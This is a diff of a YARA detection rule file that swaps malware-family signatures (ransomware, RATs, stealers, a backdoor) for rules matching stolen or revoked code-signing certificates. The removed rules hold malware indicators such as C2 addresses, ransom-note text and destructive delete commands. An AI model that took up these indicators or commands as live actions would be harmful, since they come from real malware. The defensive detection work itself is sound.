 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b9845414f4ce4cc25b75a8de7569c4135bbb7ba9098fd4c50d7ac80302e99b8f"
+		logic_hash = "367237a9370542a4506fb13683f0a91e4bf5eb871e4b9f62b4cae8316bdf2d9a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "WebClient" fullword ascii
-		$s2 = "DownloadData" fullword ascii
-		$s3 = "packet_server" fullword wide
+		thumbprint = "e3143f0df21fced02fe5525b297ed4cd389c66e3"
+		hash1 = "85adf569d259dc53c5099fea6e90ff3a614a406b4308ebdf9f40e8bed151f526"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them and filesize <50KB
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ralink Technology Corporation" and pe.signatures[i].serial=="54:cc:50:d1:47:fa:54:9e:3f:72:1c:75:4e:4e:3a:91")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1E508Bb2398808Bc420A5A1F67Ba5D0B : FILE
 {
 	meta:
-		description = "Detects specific downloader injector shellcode"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c5e0946c-3e15-5ebc-b1b5-3f00566dc5cd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "32f79595-6526-5dea-824a-cc073b6a2b5c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5995-L6015"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6728-L6740"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c13af5fdbb2e8a27103d9502126a82d0bff15d9a269b22e4279b5b459d50e2d"
+		logic_hash = "71b7efab5359408e3897498ce031c8375e2d67bfc8ff15c685df5ac6dd4bb015"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "process call create \"%s\"" ascii wide
-		$s2 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\" ascii wide
-		$s3 = "%systemroot%\\system32\\ntdll.dll" ascii wide
-		$s4 = "qemu-ga.exe" ascii wide
-		$s5 = "prl_tools.exe" ascii wide
-		$s6 = "vboxservice.exe" ascii wide
-		$o1 = { 75 04 74 02 38 6e 8b 34 24 83 c4 04 eb 0a 08 81 }
-		$o2 = { 16 f8 f7 ba f0 3d 87 c7 95 13 b7 64 22 be e1 59 }
-		$o3 = { 8b 0c 24 83 c4 04 eb 05 ea f2 eb ef 05 e8 ad fe }
-		$o4 = { eb 05 1d 51 eb f5 ce e8 80 fd ff ff 77 a1 f4 cd }
-		$o5 = { eb 05 6e 33 eb f5 73 e8 64 f6 ff ff 77 a1 f4 77 }
-		$o6 = { 59 eb 05 fd 98 eb f4 50 e8 d5 f5 ff ff 3b b9 00 }
-		$o7 = "bYkoDA7G" fullword ascii
+		thumbprint = "63a3ca4114aef8d5076ec84ff78d2319d5305e5b"
+		hash1 = "7ff82a6621e0dd7c29c2e6bcd63920f9b58bc254df9479618b912a1e788ff18b"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and all of ($o*)) or ( all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WakeNet AB" and pe.signatures[i].serial=="1e:50:8b:b2:39:88:08:bc:42:0a:5a:1f:67:ba:5d:0b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008B3333D32B2C2A1D33B41Ba5Db9D4D2D : FILE
 {
 	meta:
-		description = "Detects downloader injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ce2c418d-18e4-579c-9828-94e294385846"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "90947492-2f42-5d90-b635-62a5f7e79ffc"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6017-L6034"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6742-L6757"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "76d185cfcbc7f4996c2fb5c7c1ba4eb20b32d322d8ff47594283a4ca3e573a0b"
+		logic_hash = "c15a248dd52e7e888da381fda296cf19c53196ef52c4c4ce74af646d427eccde"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "In$J$ct0r" fullword wide
-		$x2 = "%InJ%ector%" fullword wide
-		$a1 = "WriteProcessMemory" fullword wide
-		$a2 = "URLDownloadToFileA" fullword ascii
-		$a3 = "Wow64SetThreadContext" fullword wide
-		$a4 = "VirtualAllocEx" fullword wide
-		$s1 = "RunPE" fullword wide
-		$s2 = "SETTINGS" fullword wide
-		$s3 = "net.pipe" fullword wide
-		$s4 = "vsmacros" fullword wide
+		thumbprint = "7ecaa9a507a6672144a82d453413591067fc1d27"
+		hash1 = "5d5684ccef3ce3b6e92405f73794796e131d3cb1424d757828c3fb62f70f6227"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or ( all of ($a*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BOOK CAF\\xC3\\x89" and (pe.signatures[i].serial=="8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d" or pe.signatures[i].serial=="00:8b:33:33:d3:2b:2c:2a:1d:33:b4:1b:a5:db:9d:4d:2d"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nermer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_B548765Eebe9468348Af40B9891C1E63 : FILE
 {
 	meta:
-		description = "Detects Nermer ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fce4f178-8e98-53b0-ae09-2ce876ad524e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0ee1a31b-6324-5dbd-bd0d-765bc4891415"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6036-L6062"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6759-L6771"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e885b1b908b256ee07f5cb144d63f5ad65e5bf746b70efe168b0ac742a246ab3"
+		logic_hash = "db8136f63657130bb3fe2527bb597e70bc3d46395aa3137810f4ee4b4de6c6ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "gPROTECT_INFO.TXT" fullword wide
-		$x2 = ".nermer" fullword wide
-		$s1 = "db_journal" fullword wide
-		$s2 = "quicken2015backup" fullword wide
-		$s3 = "mysql" fullword wide
-		$s4 = "sas7bdat" fullword wide
-		$s5 = "httpd.exe" fullword wide
-		$s6 = "Intuit.QuickBooks.FCS" fullword wide
-		$s7 = "convimage" fullword wide
-		$s8 = ".?AV?$_Binder@U_Unforced@std@@P8shares_t@" ascii
-		$s9 = "BgIAAACkAABSU0ExAAgAAAEAAQCt" ascii
-		$m1 = "YOUR FILES WERE ENCRYPTED" ascii
-		$m2 = "MARKED BY EXTENSION .nermer" ascii
-		$m3 = "send us your id: >> {id} <<" ascii
-		$m4 = "email us: >> {email} <<" ascii
-		$c1 = "/repeater.php" ascii
-		$c2 = "HTTPClient/0.1" fullword ascii
-		$c3 = "94.156.35.227" ascii
-		$c4 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword ascii
+		thumbprint = "5987703bc4a3c739f92af8fed1747394880e1a39"
+		hash1 = "501dee454ba470aa09ceceb4c93ab7e9e913729e47fcc184a2e2d675f8234a58"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($m*) or all of ($c*) or all of ($s*) or (4 of ($s*) and (1 of ($x*) or 1 of ($m*) or 2 of ($c*))) or 14 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OSIRIS Corporation" and pe.signatures[i].serial=="b5:48:76:5e:eb:e9:46:83:48:af:40:b9:89:1c:1e:63")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Beastdoor : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4697C7Ddd3E37Fe275Fdc6961A9093E3 : FILE
 {
 	meta:
-		description = "Detects Beastdoor backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b271d53e-2693-5a93-825a-ef32f72a4b01"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9d611fee-cf29-523e-86f7-5c67f0e563a9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6064-L6084"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6773-L6785"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d9a72717d124bcf1e3b95850cd524e577abe96a094586a5555faadba78fcb9ad"
+		logic_hash = "b3de1a753ac7a2f43ae64ee54fc81d92f70c32d4a04398a6dfc9a6ec856d8300"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "shellx.pif" fullword ascii nocase
-		$s2 = "Beasty" fullword ascii
-		$s3 = "* Boot:[" ascii
-		$s4 = "^ Shut Down:[" ascii
-		$s5 = "set cdaudio door" ascii
-		$s6 = "This \"Portable Network Graphics\" image is not valid" wide
-		$n1 = ".aol.com" ascii
-		$n2 = "web.icq.com" ascii
-		$n3 = "&fromemail=" fullword ascii
-		$n4 = "&subject=" fullword ascii
-		$n5 = "&Send=" fullword ascii
-		$n6 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword ascii
-		$n7 = "mirabilis.com" ascii
+		thumbprint = "ef24ae3635929c371d1427901082be9f76e58d9a"
+		hash1 = "fb3f622cf5557364a0a3abacc3e9acf399b3631bf3630acb8132514c486751e7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($n*) or (3 of ($s*) and 3 of ($n*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xC3\\x89tienne Hill" and pe.signatures[i].serial=="46:97:c7:dd:d3:e3:7f:e2:75:fd:c6:96:1a:90:93:e3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gravityrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_74C94Ef697Dc9783F845D26Dccc1E7Fd : FILE
 {
 	meta:
-		description = "Detects GravityRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cb581dd6-15b2-54ae-9f27-30ec21554fb9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "3cd08af1-8999-59a8-a679-a39871ecf68e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6086-L6108"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6787-L6799"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a6b049dbf21f22f751c15da98536e9ef2a4ced7755ade0cc9904afddef1d3ae6"
+		logic_hash = "226dfe366c31e9cb38910df7d6cb2037c545745594fd133d7b7359175f153a90"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/GX/GX-Server.php?VALUE=2&Type=" wide
-		$s2 = "&SIGNATUREHASH=" wide
-		$s3 = "Error => CommonFunctionClass => Upload()" wide
-		$s4 = "/GetActiveDomains.php" wide
-		$s5 = "DetectVM" ascii wide
-		$s6 = "/c {0} > {1}" wide
-		$s7 = "DRIVEUPLOADCOMPLETED => TOTALFILES={0}, FILESUPLOADED={1}" wide
-		$s8 = "Program => RunAFile()" wide
-		$s9 = "DoViaCmd" ascii
-		$s10 = ".msoftupdates.com:" wide
-		$f1 = "<RootJob>b__" ascii
-		$f2 = "<GetFiles>b__" ascii
-		$f3 = "<UpdateServer>b__" ascii
-		$f4 = "<EthernetId>b__" ascii
-		$f5 = "<MatchMacAdd>b__" ascii
+		thumbprint = "6daa64d7af228de45ded86ad4d1aeaa360295f56"
+		hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($f*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CIBIKART d.o.o." and pe.signatures[i].serial=="74:c9:4e:f6:97:dc:97:83:f8:45:d2:6d:cc:c1:e7:fd")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fatalrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Dd1Cb148A90123Dcc13498B54E5A798 : FILE
 {
 	meta:
-		description = "Detects FatalRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f9d0c5dd-ae69-512d-a260-01b9765e10eb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8bdc91bc-5a59-5c22-8d39-fe1bf4267813"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6110-L6128"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6801-L6812"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fb7f6822aa4ef98e77670d276d06c9a37718bce38d32ce5b53fe67513b107fbe"
+		logic_hash = "9b5ec1b9d3fd15259d3628b5199b274f85674b404c57329d8af4f779ae357454"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "XXAcQbcXXfRSScR" fullword ascii
-		$s1 = "CHROME_NO_DATA" fullword ascii
-		$s2 = "CHROME_UNKNOW" fullword ascii
-		$s3 = "-Thread running..." ascii
-		$s4 = "InetCpl.cpl,ClearMyTracksByProcess" ascii nocase
-		$s5 = "MSAcpi_ThermalZoneTemperature" ascii nocase
-		$s6 = "taskkill /f /im rundll32.exe" fullword ascii nocase
-		$s7 = "del /s /f %appdata%\\Mozilla\\Firefox" ascii nocase
-		$s8 = "\\\\%s\\C$\\" ascii
-		$s9 = "fnGetChromeUserInfo" fullword ascii
-		$s10 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" fullword ascii
+		thumbprint = "3a7c692345b67c7a2b21a6d94518588c8bbe514c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "33adab6a2ixdac07i4cLb4ac05j6yG2ew95e" and pe.signatures[i].serial=="5d:d1:cb:14:8a:90:12:3d:cc:13:49:8b:54:e5:a7:98")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Wingo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00A758504E7971869D0Aec2775Fffa03D5 : FILE
 {
 	meta:
-		description = "Detects malicious Golang executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bc0c84d6-7ea1-5234-89f6-98337900e044"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1ecfe521-0148-5a13-b23f-dd1b14b835ed"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6130-L6141"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6814-L6829"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "423b1631ad625fd46a9d10f0ecdf24931cf62a2c1694da3ebdd38daad0a4f724"
+		logic_hash = "08f52e96d1e93e2d406753fd0dee5d03501ac037ab022b710362b113eaae6239"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Go build ID:" ascii
-		$s2 = /main\.[a-z]{9}Delete/ fullword ascii
-		$s3 = /main\.[a-z]{9}Update/ fullword ascii
-		$s4 = /main\.[a-z]{9}rundll/ fullword ascii
+		thumbprint = "646bbb3a37cc004bea6efcd48579d1a5776cb157"
+		hash1 = "3194e2fb68c007cf2f6deaa1fb07b2cc68292ee87f37dff70ba142377e2ca1fa"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of them and #s2>2 and #s3>2 and #s4>2)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Amcert LLC" and (pe.signatures[i].serial=="a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" or pe.signatures[i].serial=="00:a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_GENERIC03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F13A4F94Bf233525 : FILE
 {
 	meta:
-		description = "Detects unknown malicious executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "aa0a720d-8215-58d8-b3ce-98d50318cbf9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1d048571-661e-5d7f-a255-f07b84069b20"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6143-L6154"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6831-L6845"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9166808a3dab80d9d85b3b976ae658160c8389c7d0e05a46d553b5bb9d41a1cb"
+		logic_hash = "29284d9ced0d5e6d587edc9727321cdc7bf5ce4ad8407d460afa7f1e6d1bcb90"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "lbroscfg.dll" wide
-		$s2 = "cmd /c ping 127.0.0.1 & del /f /q \"" fullword wide
-		$s3 = "E:\\Data\\Sysceo\\AD\\" fullword ascii
-		$s4 = "C++\\Browser_noime\\" ascii
+		thumbprint = "974eb056bb7467d54aae25a908ce661dac59c786"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SocketOptionName" and (pe.signatures[i].serial=="f1:3a:4f:94:bf:23:35:25" or pe.signatures[i].serial=="00:f1:3a:4f:94:bf:23:35:25"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pandastealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_119Acead668Bad57A48B4F42F294F8F0 : FILE
 {
 	meta:
-		description = "Detects Panda Stealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "099f0a03-6dfd-5ae5-baaf-fe2b66de759d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d3f45ee1-134f-5b16-81f8-83405a5e3181"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6156-L6172"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6847-L6858"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "23a911bfe14defe8f961068d43bb349b66ee73f8b2f281f2bec1c0ecb8f37b25"
+		logic_hash = "bae9aed4f53059b2ec0de630f681bb157c148d9ad38be35dd8c1a74b19619077"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\tokens.txt" fullword ascii
-		$s2 = "user.config" fullword ascii
-		$s3 = "Discord\\" ascii
-		$s4 = "%s\\etilqs_" fullword ascii
-		$s5 = "buildSettingGrabber" ascii
-		$s6 = "buildSettingSteam" ascii
-		$s7 = ".?AV?$_Ref_count_obj2@U_Recursive_dir_enum_impl@filesystem@std@@@" ascii
-		$s8 = "UPDATE %Q.%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr" ascii
-		$s9 = "|| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (" ascii
+		thumbprint = "11ff68da43f0931e22002f1461136c662e623366"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PB03 TRANSPORT LTD." and pe.signatures[i].serial=="11:9a:ce:ad:66:8b:ad:57:a4:8b:4f:42:f2:94:f8:f0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gelsemine : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_21144343720267Ba42F586105Ff279De : FILE
 {
 	meta:
-		description = "Detects Gelsemine"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f7e9ca53-fc52-5da0-a760-cb09c2544f4f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "54e4133f-4fb7-5f70-a4dc-77c6f8120d29"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6174-L6194"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6860-L6871"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8c20efa6f34ee9165fac9f1f2e5eb20830a02016309dfaa5681977e1a8ac6068"
+		logic_hash = "a1eacebed0966ad5d78eb7e38d8b854d183f21a19a53bbcb57503e4271b2cc84"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "If any of these steps fails.only pick one of the targets for configuration\"If you want to just get on with it*which also use [ " wide
-		$s2 = "A make implementation+with core modules (please read NOTES.PER_L)2The per_l Text::Template (please read NOTES.PER_L)" wide
-		$s3 = "NOTES.VMS (OpenVMS)!NOTES.WIN (any supported Windows)%NOTES.DJGPP (DOS platform with DJGPP)'NOTES.ANDROID (obviously Android [ND" wide
-		$s4 = "A simple example would be this)which is to be understood as one of these" fullword wide
-		$s5 = "bala bala bala" fullword wide
-		$s6 = "echo FOO" fullword wide
-		$s7 = "?_Tidy@?$basic_string@DU?$char_traits@D@std@@V" ascii
-		$o1 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
-		$o2 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
-		$o3 = { 8b 76 08 2b f0 a1 34 ff 40 00 03 f0 89 35 38 ff }
-		$o4 = { 83 c4 34 c3 8b 4e 20 6a 05 e8 73 10 00 00 8b 76 }
-		$o5 = { 8b 44 24 44 2b d1 03 d0 8b f2 e9 14 ff ff ff 8d }
-		$o6 = { 68 00 06 00 00 6a 00 e8 d3 ff ff ff a2 48 00 41 }
+		thumbprint = "c56f79b4cc3a0e0894cd1e54facdf2db9d8ca62a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($o*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Varta Blue Dynamic" and pe.signatures[i].serial=="21:14:43:43:72:02:67:ba:42:f5:86:10:5f:f2:79:de")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gelsevirine : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00A3Cb8E964244768969B837Ca9981De68 : FILE
 {
 	meta:
-		description = "Detects Gelsevirine"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "70f0ed08-4e07-5ab3-968e-95059d20a8e9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a9d74cc6-0d89-5de9-8f13-966455e49b9c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6224-L6254"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6873-L6884"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "60d41d6d789f1cd2a7040d6535f13c69ea58a489035838f047b886e8f1f37f63"
+		logic_hash = "d88c9ac03a4b3803b85c5ee30ad127aca43cbfc33d754bc42c15593f7294b1bc"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = /64loadpath(xp|sv|7)/ fullword wide
-		$s2 = "{\"Actions\":[]}" fullword wide
-		$s3 = "PlatformsChunk" fullword wide
-		$s4 = "CurrentPluginCategory" fullword wide
-		$s5 = "CurrentOperationPlatform" fullword wide
-		$s6 = "PersistencePlugins" fullword wide
-		$s7 = "memory_library_file" fullword wide
-		$s8 = "LoadPluginBP" fullword ascii
-		$s9 = "GetOperationBasicInformation" fullword ascii
-		$s10 = "commonappdata/Intel/Runtime" wide
-		$s11 = "cfsst x64" fullword wide
-		$s12 = "ForkOperation" fullword ascii
-		$c1 = "domain.dns04.com:8080;domain.dns04.com:443;acro.ns1.name:80;acro.ns1.name:1863;" wide
-		$c2 = "<base64 content=\"" fullword ascii
-		$c3 = "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
-		$m1 = "6BDA7FEF-232F-4EA6-8FC8-24F58CD7B366" ascii wide
-		$m2 = "46EBBDC3-EEDC-42D4-BA1D-D454DFCE8E42" ascii wide
-		$m3 = "135054C6-8036-42C7-A97C-31F37D7728BD" ascii wide
-		$m4 = "DC7FDDF7-B2F1-4B99-BE6A-AA683FF11CE6" ascii wide
-		$m5 = "131C8113-E083-4C7F-BEAF-82D73B01F2C5" ascii wide
-		$m6 = "4CCF506D-2F61-4C3A-B9C6-9FA47D43A3FC" ascii wide
-		$m7 = "B2DC745A-66AE-4A19-B11C-AD74D46B7EE0" ascii wide
-		$m8 = "6BDA7FEF-232F-4EA6-8FC8-24F58CD7B366" ascii wide
+		thumbprint = "5617114bc2a584532eba1dd9eb9d23108d1f9ea7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or (2 of ($c*) and 4 of ($s*)) or (5 of ($m*) and (1 of ($c*) or 3 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="a3:cb:8e:96:42:44:76:89:69:b8:37:ca:99:81:de:68" or pe.signatures[i].serial=="00:a3:cb:8e:96:42:44:76:89:69:b8:37:ca:99:81:de:68")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ipsechelper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Bd96F0B87Edca41E777507015B3B2775 : FILE
 {
 	meta:
